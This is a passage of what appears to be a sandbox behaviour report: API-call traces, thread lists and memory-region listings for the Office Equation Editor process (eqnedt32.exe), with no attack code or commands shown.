	[0053.217] GdipDisposeImage (image=0x7503250) returned 0x0
	[0053.217] GdipDisposeImage (image=0x7502f08) returned 0x0
	[0053.217] GdipDisposeImage (image=0x7502bc0) returned 0x0
	[0053.217] GdipDisposeImage (image=0x7502878) returned 0x0
	[0053.217] GdipDisposeImage (image=0x7502530) returned 0x0
	[0053.217] GdipDisposeImage (image=0x75021e8) returned 0x0
	[0053.218] GdipDisposeImage (image=0x7501ea0) returned 0x0
	[0053.218] GdipDisposeImage (image=0x7501b58) returned 0x0
	[0053.219] GdipDisposeImage (image=0x7501810) returned 0x0
	[0053.220] GdipDisposeImage (image=0x74f8b20) returned 0x0
	[0053.220] GdipDisposeImage (image=0x74f87d8) returned 0x0
	[0053.220] GdipDisposeImage (image=0x74f8490) returned 0x0
	[0053.220] GdipDisposeImage (image=0x74f8148) returned 0x0
	[0053.220] GdipDisposeImage (image=0x74f7e00) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f7ab8) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f7770) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f7428) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f70e0) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f6d98) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f6a50) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f6708) returned 0x0
	[0053.221] GdipDisposeImage (image=0x74f63c0) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f6078) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f5d30) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f59e8) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f56a0) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f5358) returned 0x0
	[0053.222] GdipDisposeImage (image=0x74f5010) returned 0x0
	[0053.223] GdipDisposeImage (image=0x74e6b20) returned 0x0
	[0053.223] GdipDisposeImage (image=0x74e67d8) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e6490) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e6148) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e5e00) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e5ab8) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e5770) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e5428) returned 0x0
	[0053.224] GdipDisposeImage (image=0x74e50e0) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e4d98) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e4a50) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e4708) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e43c0) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e4078) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e3d30) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e39e8) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e36a0) returned 0x0
	[0053.225] GdipDisposeImage (image=0x74e3358) returned 0x0
	[0053.226] GdipDisposeImage (image=0x74e3010) returned 0x0
	[0053.226] GdipDisposeImage (image=0x74d8320) returned 0x0
	[0053.226] GdipDisposeImage (image=0x74d7fd8) returned 0x0
	[0053.227] GdipDisposeImage (image=0x74d7c90) returned 0x0
	[0053.227] GdipDisposeImage (image=0x74d7948) returned 0x0
	[0053.227] GdipDisposeImage (image=0x74d7600) returned 0x0
	[0053.229] GdipDisposeImage (image=0x74d72b8) returned 0x0
	[0053.229] GdipDisposeImage (image=0x74d6f70) returned 0x0
	[0053.229] GdipDisposeImage (image=0x74d6c28) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d68e0) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d6598) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d6250) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d5f08) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d5bc0) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d5878) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d5530) returned 0x0
	[0053.230] GdipDisposeImage (image=0x74d51e8) returned 0x0
	[0053.231] GdipDisposeImage (image=0x74d4ea0) returned 0x0
	[0053.233] GdipDisposeImage (image=0x74d4b58) returned 0x0
	[0053.233] GdipDisposeImage (image=0x74d4810) returned 0x0
	[0053.234] GdipDisposeImage (image=0x74c5d68) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c5a20) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c56d8) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c5390) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c5048) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c4d00) returned 0x0
	[0053.235] GdipDisposeImage (image=0x74c49b8) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c4670) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c4328) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c3fe0) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c3c98) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c3950) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c3608) returned 0x0
	[0053.236] GdipDisposeImage (image=0x74c32c0) returned 0x0
	[0053.237] GdipDisposeImage (image=0x74c2f78) returned 0x0
	[0053.237] GdipDisposeImage (image=0x74c2c30) returned 0x0
	[0053.238] GdipDisposeImage (image=0x74c28e8) returned 0x0
	[0053.238] GdipDisposeImage (image=0x74c25a0) returned 0x0
	[0053.238] GdipDisposeImage (image=0x74c2258) returned 0x0
	[0053.238] GdipDisposeImage (image=0x74afb08) returned 0x0
	[0053.240] GdipDisposeImage (image=0x74af510) returned 0x0
	[0053.240] GdipDisposeImage (image=0x74ae850) returned 0x0
	[0053.240] GdipDisposeImage (image=0x74adb90) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74aced0) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74ac210) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74ab550) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74aa890) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74a9bd0) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74a8f10) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74a8250) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74a7590) returned 0x0
	[0053.241] GdipDisposeImage (image=0x74a68d0) returned 0x0
	[0053.242] GdipDisposeImage (image=0x74a5c10) returned 0x0
	[0053.242] GdipDisposeImage (image=0x74a4f50) returned 0x0
	[0053.242] GdipDisposeImage (image=0x74a4290) returned 0x0
	[0053.242] GdipDisposeImage (image=0x74a35d0) returned 0x0
	[0053.242] GdipDisposeImage (image=0x74a2230) returned 0x0
	[0053.242] GdipDisposeImage (image=0x79b09e8) returned 0x0
	[0053.244] GdipDisposeImage (image=0x78995e8) returned 0x0
	[0053.244] GdipDisposeImage (image=0x78992a0) returned 0x0
	[0053.244] GdipDisposeImage (image=0x7898f58) returned 0x0
	[0053.244] GdipDisposeImage (image=0x7898c10) returned 0x0
	[0053.244] GdipDisposeImage (image=0x78988c8) returned 0x0
	[0053.245] GdipDisposeImage (image=0x7898580) returned 0x0
	[0053.246] GdipDisposeImage (image=0x7898238) returned 0x0
	[0053.246] GdipDisposeImage (image=0x7897ef0) returned 0x0
	[0053.246] GdipDisposeImage (image=0x7897ba8) returned 0x0
	[0053.247] GdipDisposeImage (image=0x7897860) returned 0x0
	[0053.248] GdipDisposeImage (image=0x78829c8) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7882680) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7882338) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7881ff0) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7881ca8) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7881960) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7881618) returned 0x0
	[0053.248] GdipDisposeImage (image=0x78812d0) returned 0x0
	[0053.248] GdipDisposeImage (image=0x7880f88) returned 0x0
	[0053.249] GdipDisposeImage (image=0x7880c40) returned 0x0
	[0053.249] GdipDisposeImage (image=0x78808f8) returned 0x0
	[0053.249] GdipDisposeImage (image=0x78805b0) returned 0x0
	[0053.249] GdipDisposeImage (image=0x7880268) returned 0x0
	[0053.249] GdipDisposeImage (image=0x787ff20) returned 0x0
	[0053.249] GdipDisposeImage (image=0x787fbd8) returned 0x0
	[0053.249] GdipDisposeImage (image=0x787f890) returned 0x0
	[0053.249] GdipDisposeImage (image=0x787f548) returned 0x0
	[0053.249] GdipDisposeImage (image=0x787f200) returned 0x0
	[0053.250] GdipDisposeImage (image=0x787eeb8) returned 0x0
	[0053.250] GdipDisposeImage (image=0x787eb70) returned 0x0
	[0053.250] GdipDisposeImage (image=0x787e828) returned 0x0
	[0053.250] GdipDisposeImage (image=0x787e4e0) returned 0x0
	[0053.252] GdipDisposeImage (image=0x787e198) returned 0x0
	[0053.252] GdipDisposeImage (image=0x787de50) returned 0x0
	[0077.070] EtwEventUnregister () returned 0x0
	[0077.090] CloseHandle (hObject=0x234) returned 1
	[0077.091] RegCloseKey (hKey=0x80000004) returned 0x0
	[0077.091] RegCloseKey (hKey=0x80000001) returned 0x0
	[0077.092] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) 

Thread:
	id = 63
	os_tid = 0xb28


Thread:
	id = 64
	os_tid = 0xb2c


Thread:
	id = 67
	os_tid = 0xbc4

	[0073.337] CObjectContext::QueryInterface () returned 0x0
	[0073.337] CObjectContext::GetCurrentThreadType () returned 0x0
	[0073.337] Release () returned 0x0

Thread:
	id = 68
	os_tid = 0xbd4


Thread:
	id = 70
	os_tid = 0x98c


Thread:
	id = 71
	os_tid = 0x988


Thread:
	id = 72
	os_tid = 0x95c

	[0077.093] SleepEx (dwMilliseconds=0x14, bAlertable=0) 

Thread:
	id = 73
	os_tid = 0x964


Process:
	id = "5"
	image_name = "eqnedt32.exe"
	filename = "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe"
	page_root = "0x3249d000"
	os_pid = "0xb04"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "rpc_server"
	parent_id = "1"
	os_parent_pid = "0x9c0"
	cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE\" -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 801
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 802
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 803
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 804
	        start_va = 0x50000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000050000"
	        filename = ""

Region:
	              id = 805
	        start_va = 0x90000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 806
	        start_va = 0x190000
	          end_va = 0x193fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 807
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001a0000"
	        filename = ""

Region:
	              id = 808
	        start_va = 0x400000
	          end_va = 0x48dfff
	     entry_point = 0x400000
	     region_type = mapped_file
	            name = "eqnedt32.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\eqnedt32.exe")

Region:
	              id = 809
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 810
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 811
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 812
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 813
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 814
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 815
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 816
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 817
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 818
	        start_va = 0x330000
	          end_va = 0x3affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 819
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 820
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 821
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 822
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 823
	        start_va = 0x1b0000
	          end_va = 0x216fff
	     entry_point = 0x1b0000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 824
	        start_va = 0x610000
	          end_va = 0x70ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000610000"
	        filename = ""

Region:
	              id = 825
	        start_va = 0x74eb0000
	          end_va = 0x75067fff
	     entry_point = 0x74eb0000
	     region_type = mapped_file
	            name = "appvisvsubsystems32.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")

Region:
	              id = 826
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 827
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 828
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 829
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 830
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 831
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 832
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 833
	        start_va = 0x260000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000260000"
	        filename = ""

Region:
	              id = 834
	        start_va = 0x74c70000
	          end_va = 0x74cf3fff
	     entry_point = 0x74c70000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")

Region:
	              id = 835
	        start_va = 0x74d00000
	          end_va = 0x74d0afff
	     entry_point = 0x74d00000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 836
	        start_va = 0x74d10000
	          end_va = 0x74d26fff
	     entry_point = 0x74d10000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll")

Region:
	              id = 837
	        start_va = 0x74d30000
	          end_va = 0x74ea8fff
	     entry_point = 0x74d30000
	     region_type = mapped_file
	            name = "c2r32.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")

Region:
	              id = 838
	        start_va = 0x75180000
	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 839
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 840
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 841
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 842
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 843
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 844
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 845
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 846
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 847
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 848
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 849
	        start_va = 0x76ee0000
	          end_va = 0x76f6efff
	     entry_point = 0x76ee0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 850
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 851
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 852
	        start_va = 0x710000
	          end_va = 0x897fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000710000"
	        filename = ""

Region:
	              id = 853
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 854
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 855
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 856
	        start_va = 0x220000
	          end_va = 0x220fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 857
	        start_va = 0x230000
	          end_va = 0x230fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000230000"
	        filename = ""

Region:
	              id = 858
	        start_va = 0x240000
	          end_va = 0x246fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000240000"
	        filename = ""

Region:
	              id = 859
	        start_va = 0x250000
	          end_va = 0x251fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000250000"
	        filename = ""

Region:
	              id = 860
	        start_va = 0x8a0000
	          end_va = 0xa20fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 861
	        start_va = 0xa30000
	          end_va = 0x1e2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000a30000"
	        filename = ""

Region:
	              id = 862
	        start_va = 0x1e30000
	          end_va = 0x20fefff
	     entry_point = 0x1e30000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 863
	        start_va = 0x2100000
	          end_va = 0x24f2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002100000"
	        filename = ""

Region:
	              id = 864
	        start_va = 0x6f630000
	          end_va = 0x6f63ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000006f630000"
	        filename = ""

Region:
	              id = 865
	        start_va = 0x74ab0000
	          end_va = 0x74ab2fff
	     entry_point = 0x74ab0000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 866
	        start_va = 0x590000
	          end_va = 0x59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000590000"
	        filename = ""

Region:
	              id = 867
	        start_va = 0x5e0000
	          end_va = 0x5effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005e0000"
	        filename = ""

Region:
	              id = 868
	        start_va = 0x2500000
	          end_va = 0x28fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002500000"
	        filename = ""

Region:
	              id = 869
	        start_va = 0x74100000
	          end_va = 0x7433ffff
	     entry_point = 0x74100000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll")

Region:
	              id = 870
	        start_va = 0x2a10000
	          end_va = 0x2a4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a10000"
	        filename = ""

Region:
	              id = 871
	        start_va = 0x3de20000
	          end_va = 0x3de2dfff
	     entry_point = 0x3de20000
	     region_type = mapped_file
	            name = "eeintl.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\1033\\eeintl.dll")

Region:
	              id = 872
	        start_va = 0x74a30000
	          end_va = 0x74aaffff
	     entry_point = 0x74a30000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 873
	        start_va = 0x270000
	          end_va = 0x270fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000270000"
	        filename = ""

Region:
	              id = 874
	        start_va = 0x490000
	          end_va = 0x56efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000490000"
	        filename = ""

Region:
	              id = 875
	        start_va = 0x75340000
	          end_va = 0x753c2fff
	     entry_point = 0x75340000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")

Region:
	              id = 876
	        start_va = 0x280000
	          end_va = 0x2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000280000"
	        filename = ""

Region:
	              id = 877
	        start_va = 0x2c0000
	          end_va = 0x2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 878
	        start_va = 0x2900000
	          end_va = 0x29fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002900000"
	        filename = ""

Region:
	              id = 879
	        start_va = 0x2a50000
	          end_va = 0x2b4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a50000"
	        filename = ""

Region:
	              id = 880
	        start_va = 0x74c50000
	          end_va = 0x74c65fff
	     entry_point = 0x74c50000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 881
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 882
